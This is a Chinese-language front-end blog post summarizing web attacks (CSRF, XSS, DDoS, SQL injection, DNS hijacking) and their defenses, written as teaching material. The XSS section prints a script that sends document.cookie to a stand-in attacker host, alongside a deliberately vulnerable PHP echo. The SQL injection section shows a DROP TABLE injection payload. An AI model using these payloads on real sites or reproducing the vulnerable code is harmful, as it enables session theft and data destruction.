1. 程式人生 > >前端階段性總結(三):web安全

前端階段性總結(三):web安全

引言: 轉前端一年了,期間工作較忙,也沒時間整理一些知識體系,此係列文章是對前端基礎的一些回顧與總結。本文主要總結一下前端需要關注的web安全。

一、CSRF

1. 概念

CSRF(Cross Site Request Forgery,跨站請求偽造)攻擊是一種依賴web瀏覽器的、被混淆過的代理人攻擊,通過偽裝來自受信任使用者的請求來利用受信任的網站,造成個人隱私洩露及財產安全

2. 攻擊原理

clipboard.png

  • step1: 客戶端向網站A發起了通訊請求
  • step2: 網站A驗證通過,並建立了通訊連線,在客戶端儲存了A的cookie.
  • step3: 客戶端在未關閉與A的連線的情況下訪問了網站B.
  • step4: 網站B含有惡意請求程式碼,要求向網站A發起請求.
  • step5:客戶端根據B發起的請求並攜帶已儲存的網站A的cookie訪問網站A.
  • step6: 網站A驗證cookie並處理了這個請求.

於是,網站B就通過盜用儲存在客戶端的cookie,以客戶端的身份來訪問網站A,做一些諸如:傳送資訊,郵件,盜取賬戶,財產等違法操作。上面說的是狹義的csrf,其實廣義的csrf是指準確的猜測出你的請求引數,然後構造出一個合法的請求去進行curd,實際上不一定依賴於瀏覽器,但它的前提是要找到xss漏洞。

3. 如何防範

防範csrf的根本方法是有效辨別請求是否來源於正常的使用者。可以通過 token 、 referer、 驗證碼 來判斷:

1)token

token的原理是:使用存放在cookie或者前端某處的某個值,通過約定的方法加密成一串字串,作為引數傳遞給後臺,後臺根據同樣的演算法加密,對比2個值是否相等。一般來說是在cookie裡放一個token,由於同源策略,偽造者無法獲取cookie裡面的資訊,所以即使知道了演算法,也構造不出校驗串。

  • 在標籤加入token:
<meta content="_csrf" name="csrf-param">
<meta content="6eEHcEur-Q-CoC0eMc3GIRofusFMhD6fYr4Y" name="csrf-token">
  • 在表單加入token:
<input type="hidden" name="csrf_token" value="<? echo $token;?>">
2)referer

通過請求頭中的referer欄位判斷請求的來源,但這種方式不太保險,因為referer有可能被偽造。

3) 驗證碼

在一些很敏感的curd操作中,可以做驗證碼校驗。在現有技術下,破解一個驗證碼是有一定難度的,比如12306的地獄級驗證碼。但是考慮到使用者體驗,這種較為安全的校驗方式需要合理地使用。

4)其他預防手段:
  • 儘量不要在頁面的連結中暴露使用者隱私資訊.
  • 儘量使用post進行表單提交.
  • 避免全站通用的cookie,嚴格設定cookie的域.
現在業界內大多數的防csrf的方案都是token+referer。但token是在cookie沒有被盜取的前提下才有安全性,而referer也並不難偽造,所以,即使做好了csrf,如果網站存在XSS漏洞,被攻擊者盜用了cookie資訊,那麼,token+referer的防範手段將形同虛設。

二、XSS

1. 概念:

跨站指令碼攻擊(XSS,Cross-site scripting)是最常見和基本的攻擊Web網站的方法。攻擊者可以在網頁上釋出包含攻擊性程式碼的資料,當瀏覽者看到此網頁時,特定的指令碼就會以瀏覽者使用者的身份和許可權來執行。通過XSS可以比較容易地修改使用者資料、竊取使用者資訊以及造成其它型別的攻擊。

2. 攻擊原理:

XSS的本質就是在使用者的瀏覽器執行一段惡意的JS程式碼,其攻擊方式大致可以分為3類,我們假設攻擊程式碼是為了盜取我們的cookie資訊:


//攻擊程式碼

<script>
window.location='http://attacker/?cookie='+document.cookie;
</script>

而我們伺服器和前端未做XSS防範,直接拿取連結中的引數,顯示到頁面:

<?php

 echo ‘Hi,’ . $_GET[‘name’];

?>
1)反射型:

反射型是指惡意程式碼來自使用者的請求。

反射型xss.png

反射型的xss需要誘使使用者主動點選攻擊者偽造的連結,發起請求,最終將惡意程式碼在瀏覽器執行。

2)儲存型:

儲存型是指惡意程式碼來自網站資料庫,攻擊者通過網站的輸入途徑,比如評論,將惡意程式碼存入資料庫。然後其他使用者訪問這個頁面,就會執行這段程式碼。從而收到攻擊。

儲存型.png

3) 本地和DOM 型

DOM XSS 是儲存型 XSS 和 反射型 XSS 的變種。就是將攻擊指令碼注入到 DOM 結構裡的攻擊手法,在 DOM XSS 攻擊中,一直到頁面運行了 JavaScript,惡意字串才被實際的解析。

clipboard.png

隨著 WEB 應用越來越高階,越來越多的 HTML 是在客戶端通過 JavaScript 生成而不是在服務端生成。任何時候不重新整理整個頁面,需要更新內容,就必須通過 JavaScript 進行。值得注意的是,AJAX 請求後更新頁面就是這樣的例子。也就是說,XSS 漏洞不僅可以出現在網站服務端程式碼,還可能出現在客戶端 JavaScript 程式碼中。結果就是,即使服務端程式碼完全沒問題,在頁面載入完成後,客戶端程式碼還是可能在 DOM 更新中不安全的包含了使用者輸入。一旦發生,客戶端程式碼就存與服務端無關的 XSS 漏洞

3. 如何防禦:

1)基本思路:
  • 輸入/輸出的轉義編碼、過濾
  • 白名單策略
2)具體手段:

XSS是有很多奇淫技巧的,防範手段也是見仁見智。這裡我只說幾種常見的防範方法:

  • < , ' , " , / , > , & 字元的過濾
function escapeHtml(string) {
    return string
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;')
        .replace(/\//g, '&#x2f')
}
  • 實體化轉義和反轉義
function htmlEncode(html) {
    var sub = document.createElement('div');
    sub.textContent != null ? sub.textContent = html : sub.innerText = html;
    var output = sub.innerHTML;
    sub = null;
    return output;
}

function htmlDecode(text) {
    var sub = document.createElement('div');
    sub.innerHTML = text;
    var output = sub.textContent || sub.innerText;
    sub = null;
    return output;
}
  • 輸入校驗、過濾

輸入的資訊一般都需要符合一定的規範,比如說字元型別,字元長度等,可以在入庫或者提交之前對輸入資訊進行校驗和過濾。這裡的方法就太多了,具體業務具體分析

  • CSP 安全策略

CSP 用來限制瀏覽器 viewing your page 保證其只能使用從可信任的源下載的資源。資源可以是指令碼、樣式表、圖片或是頁面引用的其它型別檔案。也就是說,即使攻擊者成功在網站中注入了惡意程式碼,CSP 可以防止其被執行

CSP 可以用來強制實施下面的規則:

  • No untrusted sources:外部資源只能從一個明確定義的可信源集合中載入
  • No inline resources:不執行行內(inline) JavaScript 和 CSS
  • No eval:不可以使用 JavaScript 函式 eval

如何啟用?

預設情況下,瀏覽器不強制使用 CSP。為了給網站開啟 CSP,響應中要帶上額外的 HTTP 頭:Content-Security-Policy。如果瀏覽器支援 CSP,那麼所有帶有這一 HTTP 頭的頁面都會遵守 CSP。

具體的CSP語法可參考:CSP

4. 防範意識很重要:

在現代的前端和後端框架中,一般都會內建對於XSS的過濾功能,比如vue的 {{}} 就對輸出的內容進行了實體轉換。作為一名開發人員,最重要的是有防範XSS的意識,編碼的過程中要思考一下這個輸入是否會造成網站安全。

三、DDOS

1. 概念:

DDOS(分散式拒絕服務)是以通過某種手段,致使網站的某個環節崩潰或者癱瘓,從而使網站無法正常執行為目的的一些攻擊手段的總稱。比較常見的就是通過一些“肉雞”無間斷的大量傳送請求,使目標伺服器超出負荷,從而崩潰癱瘓。

近期比較有影響力的DDOS攻擊事件就是著名的部落格作者,前端佈道者-阮一峰老師的部落格被ddos攻擊,部落格下線了50個小時。

2. 一些防範手段:

1)對惡意請求的攔截:

我們可以使用一些策略,對一些明顯的惡意請求進行攔截:

  • 硬體防火牆:Web 伺服器的前面可以架設硬體防火牆,過濾請求,但是成本較高
  • 本機防火牆:如linux的iptables
  • web伺服器過濾: apache和nginx 都能夠過濾一些請求

但是這種過濾的前提是ddos 的攻擊有一定的規律可循,但是一般來說,高階的ddos往往是偽裝成一個合法的請求,難以識別。

2)頻寬擴容:

最有效的方法就是,有足夠的頻寬去應對這些ddos請求,但是這樣的成本較高。目前大多數伺服器運營商都提供了防ddos的方案,其原理是,平時會有大量的冗餘頻寬待命,遭到攻擊時就將請求分流到冗餘頻寬,使伺服器不至於崩潰。

3)CDN:

cdn 能有效的保證請求的穩定性,因為請求並不是直接請求伺服器,而是現在cdn裡找,找不到再由cdn去緣伺服器上找。另一方面,cdn的伺服器不止一臺,能有效的做分流。

4)網站備份:

在遭受攻擊後,如果之前備份了網站,那可以先使用備份網站,不至於整個業務停止。

ps:發起DDOS也是需要很高成本的,一般來說,普通的網站基本不會有這種待遇。

四、SQL注入

1. 簡介

Sql 注入攻擊是通過將惡意的 Sql 查詢或新增語句插入到應用的輸入引數中,再在後臺 Sql 伺服器上解析執行進行的攻擊,它目前黑客對資料庫進行攻擊的最常用手段之一。

帶來的危害:

  • 猜解後臺資料庫,盜取網站的敏感資訊。
  • 繞過認證,列如繞過驗證登入網站後臺。
  • 注入可以藉助資料庫的儲存過程進行提權等操作

2. 攻擊原理

假設有個連結請求是這樣的:

www.a.com/query?userId=123

功能是查詢userId為123的使用者出來,這個請求到我們服務端最後 sql語句是這樣:

select * from users where userid=123

那如果我們沒對使用者輸入做校驗,使用者輸入了一個這樣的字串

123; DROP TABLE users;

那我們最後執行的 sql 就變成了

select * from users where userid=123; DROP TABLE users;

然後,你就可以跑路了,因為庫已經被刪了。(手動滑稽)

從上面的例子,我們可以看出sql的攻擊原理,其本質就是通過構建特殊的輸入作為引數傳入Web應用程式,而這些輸入大都是SQL語法裡的一些組合,通過執行SQL語句進而執行攻擊者所要的操作,其主要原因是程式沒有細緻地過濾使用者輸入的資料,致使非法資料侵入系統。

3. 如何防護:

最重要的一個原則就是:永遠不要相信外來的輸入!具體可以這麼做:

  • 對輸入的資料做校驗,過濾,轉義。
  • 避免動態拼接sql語句。
  • 不要把機密資訊直接存放,加密或者hash掉密碼和敏感的資訊
  • 應用的異常資訊應該給出儘可能少的提示,最好使用自定義的錯誤資訊對原始錯誤資訊進行包裝
  • 採取輔助軟體或網站平臺來檢測SQL,如:jsky,MDCSOFT SCAN等

五、DNS劫持

1. 什麼是DNS劫持?

DNS劫持就是通過劫持了DNS伺服器,通過某些手段取得某域名的解析記錄控制權,進而修改此域名的解析結果,導致對該域名的訪問由原IP地址轉入到修改後的指定IP,其結果就是對特定的網址不能訪問或訪問的是假網址,從而實現竊取資料或者破壞原有正常服務的目的。

2. 攻擊原理:

1) DNS解析過程:

clipboard.png

  • step1:客戶機輸入域名(以百度為例):www.baidu.com ,系統會先檢查自己的本地hosts檔案中是否有這個網址對映關係,若有進入step2,若無,則查詢本地DNS解析器快取,有則進入step2,無則進入step3。
  • step2: 快取或hosts檔案返回IP地址對映關係,並完成域名解析.
  • step3:查詢本地伺服器,若查詢的域名在本地區域資源中(具有權威性)或區域伺服器中有該域名快取(不具權威性),則進入step10,否則進入step4.
  • step4:本地DNS伺服器向13臺根DNS伺服器發起請求
  • step5:根伺服器判斷域名(.com)屬於哪臺GTLD伺服器管理,並返回GTLD伺服器IP
  • step6:本地DNS伺服器向GTLD伺服器發起請求.
  • step7:(.com)GTLD伺服器返回域名(www.baidu.com)的主機IP給本地DNS伺服器.
  • step8: 本地DNS伺服器像(www.baidu.com)目的主機發送請求.
  • step9: 目的主機(www.baidu.com)返回主機IP給本地DNS伺服器.
  • step10: 本地DNS伺服器返回目的主機IP給客戶機,完成解析.
2)DNS劫持

clipboard.png

是不是發現了?你訪問的網址會失去響應或者跳到別的惡意網站,是不是會懷疑自己訪問的是個假網址?哈哈..

DNS劫持一方面可能影響使用者的正常體驗,使用者被引到假冒的網站進而無法正常瀏覽網頁。使用者量較大的網站域名被劫持後惡劣影響會不斷擴大,使用者可能被誘騙到冒牌網站進行登入等操作導致洩露隱私資料.

3. 如何防禦:

1) 在被劫持後:
  • 修改域名服務商和郵箱密碼,定期更換複雜度高的密碼.
  • 刪除無用的DNS解析,恢復DNS設定,關閉域名的泛解析.
  • 排查網站程式碼,清除垃圾頁面.
  • 收集非法新增的頁面並設定404,使用百度站長工具提交死鏈.
  • 若使用的是第三方DNS服務,則立即修改第三方DNS服務端賬戶密碼,鎖定賬戶資訊,開啟郵件或簡訊提醒.
  • 更換服務商.
2) 如何預防:
  • 為域名註冊商和註冊用郵箱設定複雜密碼且經常更換.
  • 將域名更新設定為鎖定狀態,不允許通過DNS服務商網站修改記錄,使用此方法後,需要做域名解析都要通過服務商來完成,時效性較差。
  • 定期檢查域名帳戶資訊、域名whois資訊,査看事件管理器,清理Web網點中存在的可疑檔案.
  • 加強網站的防SQL注入功能,SQL注入是利用SQL語句的特點向資料庫寫內容,從而獲取到許可權的方法.
  • 設定Web站點資料夾及檔案操作許可權.
  • 利用事務簽名對區域傳送和區域更新進行數字簽名.
  • 刪除執行在DNS伺服器上的不必要服務.
  • 在網路外圍和DNS伺服器上使用防火牆服務.

相信做好以上幾點,DNS劫持是很難發生啦~

五、總結:

作為web前端開發人員,一定要有安全意識,雖然大部分使用者都是善良的,但是也要防範於未然。不然被攻擊了,那可就勞民又傷財了。說不定還得拿起包袱走人。俗話說,最怕有心算無心,關於安全,本文所講到的只是常見的一些攻擊手段,江湖上的奇淫技巧數不勝數,建議有時間還是深入研究一下。